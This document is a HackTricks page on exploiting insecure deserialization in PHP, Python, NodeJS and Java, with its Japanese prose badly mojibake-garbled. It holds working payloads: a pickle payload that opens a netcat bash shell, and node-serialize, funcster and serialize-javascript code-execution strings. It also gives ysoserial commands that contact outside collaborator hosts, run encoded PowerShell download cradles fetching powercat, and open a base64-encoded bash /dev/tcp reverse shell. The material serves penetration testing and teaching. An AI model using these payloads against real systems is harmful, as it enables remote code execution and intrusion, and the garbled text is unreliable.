.. | ||
nodejs-proto-prototype-pollution | ||
basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md | ||
basic-java-deserialization-objectinputstream-readobject.md | ||
exploiting-__viewstate-knowing-the-secret.md | ||
exploiting-__viewstate-parameter.md | ||
java-dns-deserialization-and-gadgetprobe.md | ||
java-jsf-viewstate-.faces-deserialization.md | ||
java-transformers-to-rutime-exec-payload.md | ||
jndi-java-naming-and-directory-interface-and-log4shell.md | ||
php-deserialization-+-autoload-classes.md | ||
python-yaml-deserialization.md | ||
README.md |
Deserialization
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ð¬ Discord group or the telegram group or follow us on Twitter ðŠ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Basic Information
ã·ãªã¢ã©ã€ãºã¯ããªããžã§ã¯ããä¿åå¯èœãªåœ¢åŒã«å€æããæ¹æ³ãšããŠç解ãããŠããããªããžã§ã¯ããä¿åããããéä¿¡ããã»ã¹ã®äžéšãšããŠéä¿¡ããããšãæå³ããŠããŸãããã®æè¡ã¯ããªããžã§ã¯ããåŸã§åäœæã§ããããã«ãããã®æ§é ãšç¶æ ãç¶æããããã«äžè¬çã«äœ¿çšãããŸãã
ãã·ãªã¢ã©ã€ãºã¯ãéã«ã·ãªã¢ã©ã€ãºã«å¯Ÿæããããã»ã¹ã§ããç¹å®ã®åœ¢åŒã§æ§é åãããããŒã¿ãåããããããªããžã§ã¯ãã«åæ§ç¯ããããšãå«ã¿ãŸãã
ãã·ãªã¢ã©ã€ãºã¯å±éºã§ããå¯èœæ§ããããŸãããªããªããæ»æè ãã·ãªã¢ã©ã€ãºãããããŒã¿ãæäœããŠæ害ãªã³ãŒããå®è¡ãããããªããžã§ã¯ãåæ§ç¯ããã»ã¹äžã«ã¢ããªã±ãŒã·ã§ã³ã«äºæããªãåäœãåŒãèµ·ããããšãèš±ãå¯èœæ§ãããããã§ãã
PHP
PHPã§ã¯ãã·ãªã¢ã©ã€ãºããã³ãã·ãªã¢ã©ã€ãºããã»ã¹äžã«ç¹å®ã®ããžãã¯ã¡ãœãããå©çšãããŸãïŒ
__sleep
: ãªããžã§ã¯ããã·ãªã¢ã©ã€ãºããããšãã«åŒã³åºãããŸãããã®ã¡ãœããã¯ãã·ãªã¢ã©ã€ãºãããã¹ããªããžã§ã¯ãã®ãã¹ãŠã®ããããã£ã®ååã®é åãè¿ãå¿ èŠããããŸããä¿çäžã®ããŒã¿ãã³ãããããããåæ§ã®ã¯ãªãŒã³ã¢ããã¿ã¹ã¯ãå®è¡ããããã«äžè¬çã«äœ¿çšãããŸãã__wakeup
: ãªããžã§ã¯ãããã·ãªã¢ã©ã€ãºããããšãã«åŒã³åºãããŸããã·ãªã¢ã©ã€ãºäžã«å€±ãããå¯èœæ§ã®ããããŒã¿ããŒã¹æ¥ç¶ãå確ç«ããä»ã®ååæåã¿ã¹ã¯ãå®è¡ããããã«äœ¿çšãããŸãã__unserialize
: ãªããžã§ã¯ãããã·ãªã¢ã©ã€ãºããããšãã«ã__wakeup
ã®ä»£ããã«åŒã³åºãããã¡ãœããã§ãã__wakeup
ã«æ¯ã¹ãŠãã·ãªã¢ã©ã€ãºããã»ã¹ã«å¯Ÿããããå€ãã®å¶åŸ¡ãæäŸããŸãã__destruct
: ãªããžã§ã¯ããç Žæ£ãããçŽåãŸãã¯ã¹ã¯ãªãããçµäºãããšãã«åŒã³åºãããã¡ãœããã§ããéåžžããã¡ã€ã«ãã³ãã«ãããŒã¿ããŒã¹æ¥ç¶ãéãããªã©ã®ã¯ãªãŒã³ã¢ããã¿ã¹ã¯ã«äœ¿çšãããŸãã__toString
: ãã®ã¡ãœããã¯ããªããžã§ã¯ããæååãšããŠæ±ãããšãå¯èœã«ããŸãããã¡ã€ã«ãèªã¿åããããããã®äžã®é¢æ°åŒã³åºãã«åºã¥ãä»ã®ã¿ã¹ã¯ã«äœ¿çšã§ãããªããžã§ã¯ãã®ããã¹ãè¡šçŸãå¹æçã«æäŸããŸãã
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
ãªããžã§ã¯ãããã·ãªã¢ã©ã€ãºããããšãã«ãé¢æ° __wakeup
ãš __destruct
ãåŒã³åºãããããšãçµæããããããŸããããã€ãã®ãã¥ãŒããªã¢ã«ã§ã¯ãå±æ§ãå°å·ããããšãããš __toString
é¢æ°ãåŒã³åºããããšãããŠããŸãããã©ããããã㯠ããèµ·ãã£ãŠããªã ããã§ãã
{% hint style="warning" %}
ã¯ã©ã¹ã«å®è£
ãããŠããå Žåãã¡ãœãã __unserialize(array $data)
㯠__wakeup()
ã®ä»£ããã«åŒã³åºãããŸããããã«ãããã·ãªã¢ã©ã€ãºãããããŒã¿ãé
åãšããŠæäŸããããšã§ãªããžã§ã¯ãããã·ãªã¢ã©ã€ãºã§ããŸãããã®ã¡ãœããã䜿çšããŠããããã£ããã·ãªã¢ã©ã€ãºãããã·ãªã¢ã©ã€ãºæã«å¿
èŠãªã¿ã¹ã¯ãå®è¡ã§ããŸãã
class MyClass {
private $property;
public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}
{% endhint %}
説æãããPHPã®äŸããã¡ãã§èªãããšãã§ããŸã: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/ããã¡ã https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf ãŸãã¯ãã¡ã https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP Deserial + Autoload Classes
PHPã®ãªãŒãããŒãæ©èœãæªçšããŠãä»»æã®phpãã¡ã€ã«ãèªã¿èŸŒãããšãã§ããŸã:
{% content-ref url="php-deserialization-+-autoload-classes.md" %} php-deserialization-+-autoload-classes.md {% endcontent-ref %}
åç §å€ã®ã·ãªã¢ã©ã€ãº
äœããã®çç±ã§ãå¥ã®ã·ãªã¢ã©ã€ãºãããå€ãžã®åç §ãšããŠå€ãã·ãªã¢ã©ã€ãºãããå Žåã¯ã次ã®ããã«ã§ããŸã:
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
PHPGGC (ysoserial for PHP)
PHPGGC ã¯ãPHP ã®ãã·ãªã¢ã©ã€ãºãæªçšããããã®ãã€ããŒããçæããã®ã«åœ¹ç«ã¡ãŸãã
ã¢ããªã±ãŒã·ã§ã³ã®ãœãŒã¹ã³ãŒãå
ã§ãã·ãªã¢ã©ã€ãºãæªçšããæ¹æ³ãèŠã€ããããªãå ŽåããããŸãããå€éš PHP æ¡åŒµã®ã³ãŒããæªçšã§ãããããããŸããã
ã§ãã®ã§ãå¯èœã§ããã°ããµãŒããŒã® phpinfo()
ã確èªããã€ã³ã¿ãŒãããã§æ€çŽ¢ïŒããã«ã¯ PHPGGC ã® gadgets ã§ãïŒããŠãæªçšã§ããå¯èœæ§ã®ããã¬ãžã§ãããæ¢ããŠãã ããã
phar:// ã¡ã¿ããŒã¿ãã·ãªã¢ã©ã€ãº
ãã¡ã€ã«ãèªã¿åãã ãã§ãå
éšã® PHP ã³ãŒããå®è¡ããªã LFI ãèŠã€ããå ŽåãäŸãã° file_get_contents(), fopen(), file() ãŸã㯠file_exists(), md5_file(), filemtime() ãŸã㯠filesize()** ã®ãããªé¢æ°ã䜿çšããŠããå Žåãphar ãããã³ã«ã䜿çšã㊠ãã¡ã€ã« ã èªã¿åã ãšãã«çºçãã ãã·ãªã¢ã©ã€ãº ãæªçšããããšããããšãã§ããŸãã
詳现ã«ã€ããŠã¯ã以äžã®æçš¿ããèªã¿ãã ããïŒ
{% content-ref url="../file-inclusion/phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}
Python
Pickle
ãªããžã§ã¯ããã¢ã³ãã¯ã«ããããšãé¢æ° __reduce__ ãå®è¡ãããŸãã
æªçšããããšããµãŒããŒã¯ãšã©ãŒãè¿ãå¯èœæ§ããããŸãã
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
Before checking the bypass technique, try using print(base64.b64encode(pickle.dumps(P(),2)))
to generate an object that is compatible with python2 if you're running python3.
For more information about escaping from pickle jails check:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}
Yaml & jsonpickle
次ã®ããŒãžã§ã¯ãyamlã®å®å šã§ãªããã·ãªã¢ã©ã€ãºãæªçšããæè¡ã玹ä»ããPickleãPyYAMLãjsonpickleãruamel.yamlã®ããã®RCEãã·ãªã¢ã©ã€ãºãã€ããŒããçæããããã«äœ¿çšã§ããããŒã«ã§çµãããŸãïŒ
{% content-ref url="python-yaml-deserialization.md" %} python-yaml-deserialization.md {% endcontent-ref %}
Class Pollution (Python Prototype Pollution)
{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %} class-pollution-pythons-prototype-pollution.md {% endcontent-ref %}
NodeJS
JS Magic Functions
JS ã«ã¯ããªããžã§ã¯ããäœæããããã ãã«å®è¡ããããããžãã¯ãé¢æ°ã¯ãããŸãããããããtoString
ãvalueOf
ãtoJSON
ã®ããã«ãçŽæ¥åŒã³åºããªããŠãé »ç¹ã«äœ¿çšãããé¢æ°ããããŸãã
ãã·ãªã¢ã©ã€ãºãæªçšããå Žåããããã®é¢æ°ã劥åããŠä»ã®ã³ãŒããå®è¡ããããšãã§ããã°ãåŒã³åºããããšãã«ä»»æã®ã³ãŒããå®è¡ã§ããŸãã
é¢æ°ãçŽæ¥åŒã³åºããã«**ãããžãã¯ããªæ¹æ³ã§é¢æ°ãåŒã³åºãããäžã€ã®æ¹æ³ã¯ãéåæé¢æ°ïŒãããã¹ïŒã«ãã£ãŠè¿ããããªããžã§ã¯ãã劥åããããšã§ãããªããªãããã®è¿ããããªããžã§ã¯ããé¢æ°åã®ãthenããšããããããã£ãæã€å¥ã®ãããã¹ã«å€æãããšãå¥ã®ãããã¹ã«ãã£ãŠè¿ãããã ãã§å®è¡ããã**ããã§ãã 詳现ã«ã€ããŠã¯ ãã®ãªã³ã¯ ãåç §ããŠãã ããã
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}
async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__
ãš prototype
ã®æ±æ
ãã®æè¡ã«ã€ããŠåŠã³ããå Žåã¯ã次ã®ãã¥ãŒããªã¢ã«ãèŠãŠãã ãã:
{% content-ref url="nodejs-proto-prototype-pollution/" %} nodejs-proto-prototype-pollution {% endcontent-ref %}
node-serialize
ãã®ã©ã€ãã©ãªã¯é¢æ°ãã·ãªã¢ã©ã€ãºããããšãå¯èœã«ããŸããäŸ:
var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);
The serialised object will looks like:
ã·ãªã¢ã©ã€ãºããããªããžã§ã¯ãã¯æ¬¡ã®ããã«ãªããŸã:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
You can see in the example that when a function is serialized the _$$ND_FUNC$$_
flag is appended to the serialized object.
Inside the file node-serialize/lib/serialize.js
you can find the same flag and how the code is using it.
As you may see in the last chunk of code, if the flag is found eval
is used to deserialize the function, so basically user input if being used inside the eval
function.
ããããé¢æ°ãã·ãªã¢ã©ã€ãºããã ãã§ã¯ãããå®è¡ããããšã¯ã§ããŸããããªããªããã³ãŒãã®äžéšã**y.rce
ãåŒã³åºãå¿
èŠãããããã§ãããã¯éåžžã«ããããã«ãããŸãã**ã
ãšã«ãããã·ãªã¢ã©ã€ãºããããªããžã§ã¯ããä¿®æ£ããŠãããã€ãã®æ¬åŒ§ãè¿œå ããããšã§ããªããžã§ã¯ãããã·ãªã¢ã©ã€ãºããããšãã«ã·ãªã¢ã©ã€ãºãããé¢æ°ãèªåçã«å®è¡ãããããšãã§ããŸãã
次ã®ã³ãŒãã®ãã£ã³ã¯ã§ã¯ãæåŸã®æ¬åŒ§ãšunserialize
é¢æ°ãã©ã®ããã«èªåçã«ã³ãŒããå®è¡ãããã«æ³šæããŠãã ããïŒ
var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);
以åã«ç€ºããããã«ããã®ã©ã€ãã©ãªã¯_$$ND_FUNC$$_
ã®åŸã®ã³ãŒããååŸããeval
ã䜿çšããŠå®è¡ããŸãããããã£ãŠãã³ãŒããèªåå®è¡ããã«ã¯ãé¢æ°äœæéšåãšæåŸã®æ¬åŒ§ãåé€ãã次ã®äŸã®ããã«JSã®ã¯ã³ã©ã€ããŒãå®è¡ããããšãã§ããŸãïŒ
var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);
ããã§è©³çŽ°æ å ±ãèŠã€ããããšãã§ããŸã ãã®è匱æ§ãæªçšããæ¹æ³ã«ã€ããŠã
funcster
funcsterã®æ³šç®ãã¹ãç¹ã¯ãæšæºã®çµã¿èŸŒã¿ãªããžã§ã¯ããžã®ã¢ã¯ã»ã¹ãäžå¯èœã§ããããšã§ãããããã¯ã¢ã¯ã»ã¹å¯èœãªã¹ã³ãŒãã®å€ã«ãããŸãããã®å¶éã«ãããçµã¿èŸŒã¿ãªããžã§ã¯ãã®ã¡ãœãããåŒã³åºãããšããã³ãŒãã®å®è¡ã劚ããããconsole.log()
ãrequire(something)
ã®ãããªã³ãã³ãã䜿çšãããšã"ReferenceError: console is not defined"
ã®ãããªäŸå€ãçºçããŸãã
ãã®å¶éã«ãããããããç¹å®ã®ã¢ãããŒããéããŠããã¹ãŠã®æšæºã®çµã¿èŸŒã¿ãªããžã§ã¯ããå«ãã°ããŒãã«ã³ã³ããã¹ããžã®å®å šãªã¢ã¯ã»ã¹ã埩å ããããšãå¯èœã§ããã°ããŒãã«ã³ã³ããã¹ããçŽæ¥å©çšããããšã§ããã®å¶éãåé¿ã§ããŸããããšãã°ã次ã®ã¹ããããã䜿çšããŠã¢ã¯ã»ã¹ãå確ç«ã§ããŸãïŒ
funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)
詳现ã«ã€ããŠã¯ããã®ãœãŒã¹ãèªãã§ãã ãã.**
serialize-javascript
serialize-javascriptããã±ãŒãžã¯ãã·ãªã¢ã«åå°çšã«èšèšãããŠãããçµã¿èŸŒã¿ã®ãã·ãªã¢ã«åæ©èœã¯ãããŸããããŠãŒã¶ãŒã¯ãã·ãªã¢ã«åã®ããã®ç¬èªã®ã¡ãœãããå®è£
ãã責任ããããŸããã·ãªã¢ã«åãããããŒã¿ããã·ãªã¢ã«åããããã®å
¬åŒã®äŸã§ã¯ãeval
ã®çŽæ¥äœ¿çšãæšå¥šãããŠããŸãïŒ
function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}
ãã®é¢æ°ããªããžã§ã¯ãããã·ãªã¢ã©ã€ãºããããã«äœ¿çšãããå Žåãããªãã¯ç°¡åã«ãããæªçšã§ããŸãïŒ
var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
詳现ã«ã€ããŠã¯ãã®ãœãŒã¹ãèªãã§ãã ãã more information read this source.
Cryoã©ã€ãã©ãª
以äžã®ããŒãžã§ã¯ããã®ã©ã€ãã©ãªãæªçšããŠä»»æã®ã³ãã³ããå®è¡ããæ¹æ³ã«é¢ããæ å ±ãèŠã€ããããšãã§ããŸãïŒ
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
Java - HTTP
Javaã§ã¯ããã·ãªã¢ã©ã€ãºã³ãŒã«ããã¯ã¯ãã·ãªã¢ã©ã€ãºã®ããã»ã¹äžã«å®è¡ãããŸãããã®å®è¡ã¯ããããã®ã³ãŒã«ããã¯ãããªã¬ãŒããæªæã®ãããã€ããŒããäœæããæ»æè ã«ãã£ãŠæªçšãããå¯èœæ§ããããæ害ãªã¢ã¯ã·ã§ã³ã®å®è¡ã«ã€ãªããå¯èœæ§ããããŸãã
ãã£ã³ã¬ãŒããªã³ã
ãã¯ã€ãããã¯ã¹
ã³ãŒãããŒã¹å ã®æœåšçãªã·ãªã¢ã©ã€ãºè匱æ§ãç¹å®ããã«ã¯ã次ã®ãã®ãæ¢ããŸãïŒ
Serializable
ã€ã³ã¿ãŒãã§ãŒã¹ãå®è£ ããŠããã¯ã©ã¹ãjava.io.ObjectInputStream
ãreadObject
ãreadUnshared
é¢æ°ã®äœ¿çšã
ç¹ã«æ³šæãæãã¹ãç¹ïŒ
- å€éšãŠãŒã¶ãŒã«ãã£ãŠå®çŸ©ããããã©ã¡ãŒã¿ã§äœ¿çšããã
XMLDecoder
ã XStream
ã®fromXML
ã¡ãœãããç¹ã«XStreamã®ããŒãžã§ã³ã1.46以äžã®å Žåãã·ãªã¢ã©ã€ãºã®åé¡ã«å¯ŸããŠè匱ã§ããreadObject
ã¡ãœãããšçµã¿åããããObjectInputStream
ãreadObject
ãreadObjectNodData
ãreadResolve
ããŸãã¯readExternal
ãªã©ã®ã¡ãœããã®å®è£ ãObjectInputStream.readUnshared
ãSerializable
ã®äžè¬çãªäœ¿çšã
ãã©ãã¯ããã¯ã¹
ãã©ãã¯ããã¯ã¹ãã¹ãã§ã¯ãjavaã·ãªã¢ã©ã€ãºãªããžã§ã¯ãã瀺ãç¹å®ã®**ã·ã°ããã£ãŸãã¯ãããžãã¯ãã€ãã**ãæ¢ããŸãïŒObjectInputStream
ããçºçïŒïŒ
- 16é²ãã¿ãŒã³ïŒ
AC ED 00 05
ã - Base64ãã¿ãŒã³ïŒ
rO0
ã Content-type
ãapplication/x-java-serialized-object
ã«èšå®ãããHTTPã¬ã¹ãã³ã¹ããããŒã- 以åã®å§çž®ã瀺ã16é²ãã¿ãŒã³ïŒ
1F 8B 08 00
ã - 以åã®å§çž®ã瀺ãBase64ãã¿ãŒã³ïŒ
H4sIA
ã .faces
æ¡åŒµåãæã€Webãã¡ã€ã«ãšfaces.ViewState
ãã©ã¡ãŒã¿ããããã®ãã¿ãŒã³ãWebã¢ããªã±ãŒã·ã§ã³ã§çºèŠããå ŽåãJava JSF ViewState Deserializationã«é¢ããæçš¿ã«è©³è¿°ãããŠããããã«èª¿æ»ãä¿ãã¹ãã§ãã
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
è匱æ§ã®ç¢ºèª
Javaã®ãã·ãªã¢ã©ã€ãºæ»æãã©ã®ããã«æ©èœããããåŠã³ããå Žåã¯ãBasic Java DeserializationãJava DNS Deserializationãããã³CommonsCollection1 Payloadã確èªããŠãã ããã
ãã¯ã€ãããã¯ã¹ãã¹ã
æ¢ç¥ã®è匱æ§ãæã€ã¢ããªã±ãŒã·ã§ã³ãã€ã³ã¹ããŒã«ãããŠãããã©ããã確èªã§ããŸãã
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
ããªãã¯ãè匱æ§ãç¥ãããŠãããã¹ãŠã®ã©ã€ãã©ãªã確èªããYsoserialããšã¯ã¹ããã€ããæäŸã§ãããã©ãããè©Šãããšãã§ããŸãããŸãã¯ãJava-Deserialization-Cheat-Sheetã«ç€ºãããŠããã©ã€ãã©ãªã確èªããããšãã§ããŸãã
gadgetinspectorã䜿çšããŠããšã¯ã¹ããã€ãå¯èœãªå¯èœæ§ã®ããã¬ãžã§ãããã§ãŒã³ãæ€çŽ¢ããããšãã§ããŸãã
gadgetinspectorãå®è¡ããéïŒãã«ãåŸïŒã¯ãçºçãã倧éã®èŠå/ãšã©ãŒãæ°ã«ãããå®äºãããŸã§åŸ
ã£ãŠãã ããããã¹ãŠã®çµæã¯_gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_ã«æžã蟌ãŸããŸããgadgetinspectorã¯ãšã¯ã¹ããã€ããäœæãããåœéœæ§ã瀺ãå¯èœæ§ãããããšã«æ³šæããŠãã ããã
ãã©ãã¯ããã¯ã¹ãã¹ã
Burpæ¡åŒµæ©èœgadgetprobeã䜿çšãããšãã©ã®ã©ã€ãã©ãªãå©çšå¯èœãïŒããŒãžã§ã³ãå«ãïŒãç¹å®ã§ããŸãããã®æ
å ±ã䜿çšãããšãè匱æ§ããšã¯ã¹ããã€ãããããã®ãã€ããŒããéžæãããããªãå¯èœæ§ããããŸãã
GadgetProbeã«ã€ããŠè©³ããåŠã¶ã«ã¯ãã¡ãããèªã¿ãã ããã
GadgetProbeã¯**ObjectInputStream
ã®ãã·ãªã¢ã©ã€ãº**ã«çŠç¹ãåœãŠãŠããŸãã
Burpæ¡åŒµæ©èœJava Deserialization Scannerã䜿çšãããšãysoserialã§ãšã¯ã¹ããã€ãå¯èœãªè匱ãªã©ã€ãã©ãªãç¹å®ãããšã¯ã¹ããã€ãã§ããŸãã
Java Deserialization Scannerã«ã€ããŠè©³ããåŠã¶ã«ã¯ãã¡ãããèªã¿ãã ããã
Java Deserialization Scannerã¯**ObjectInputStream
**ã®ãã·ãªã¢ã©ã€ãºã«çŠç¹ãåœãŠãŠããŸãã
Freddyã䜿çšããŠãBurpå
ã®ãã·ãªã¢ã©ã€ãºã®è匱æ§ãæ€åºããããšãã§ããŸãããã®ãã©ã°ã€ã³ã¯ãObjectInputStream
ã«é¢é£ããè匱æ§ã ãã§ãªããJsonããã³Ymlãã·ãªã¢ã©ã€ãºã©ã€ãã©ãªããã®è匱æ§ãæ€åºããŸããã¢ã¯ãã£ãã¢ãŒãã§ã¯ãã¹ãªãŒããŸãã¯DNSãã€ããŒãã䜿çšããŠç¢ºèªãè©Šã¿ãŸãã
Freddyã«ã€ããŠã®è©³çŽ°æ
å ±ã¯ãã¡ãã§ç¢ºèªã§ããŸãã
ã·ãªã¢ã©ã€ãºãã¹ã
ãµãŒããŒã«ãã£ãŠäœ¿çšãããŠããè匱ãªã©ã€ãã©ãªã確èªããããšã ããå
šãŠã§ã¯ãããŸãããæã«ã¯ãã·ãªã¢ã©ã€ãºããããªããžã§ã¯ãå
ã®ããŒã¿ãå€æŽããŠããã€ãã®ãã§ãã¯ããã€ãã¹ããããšãã§ãããããããŸããïŒãŠã§ãã¢ããªå
ã§ç®¡çè
æš©éãä»äžããããããããŸããïŒã
ãŠã§ãã¢ããªã±ãŒã·ã§ã³ã«éä¿¡ãããJavaã·ãªã¢ã©ã€ãºãªããžã§ã¯ããèŠã€ããå Žåã**SerializationDumper**ã䜿çšããŠãéä¿¡ãããã·ãªã¢ã©ã€ãºãªããžã§ã¯ãããã人éãèªã¿ããã圢åŒã§å°å·ããããšãã§ããŸããéä¿¡ããŠããããŒã¿ããããã°ããããå€æŽããŠããã€ãã®ãã§ãã¯ããã€ãã¹ããã®ã容æã«ãªããŸãã
ãšã¯ã¹ããã€ã
ysoserial
Javaãã·ãªã¢ã©ã€ãºããšã¯ã¹ããã€ãããããã®äž»ãªããŒã«ã¯ysoserialã§ãïŒãã¡ãããããŠã³ããŒãïŒããŸããè€éãªã³ãã³ãïŒäŸãã°ãã€ãã䜿çšïŒã䜿çšã§ããysoseral-modifiedã®äœ¿çšãæ€èšã§ããŸãã
ãã®ããŒã«ã¯**ObjectInputStream
ã®ãšã¯ã¹ããã€ãã«çŠç¹ãåœãŠãŠããããšã«æ³šæããŠãã ããã
ç§ã¯RCEãã€ããŒãã®åã«ãURLDNSããã€ããŒãã䜿çšãå§ãã**ããšããå§ãããŸãã泚ç®ãã¹ãã¯ããURLDNSããã€ããŒããæ©èœããªãå Žåã§ããä»ã®RCEãã€ããŒããæ©èœããå¯èœæ§ãããããšã§ãã
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
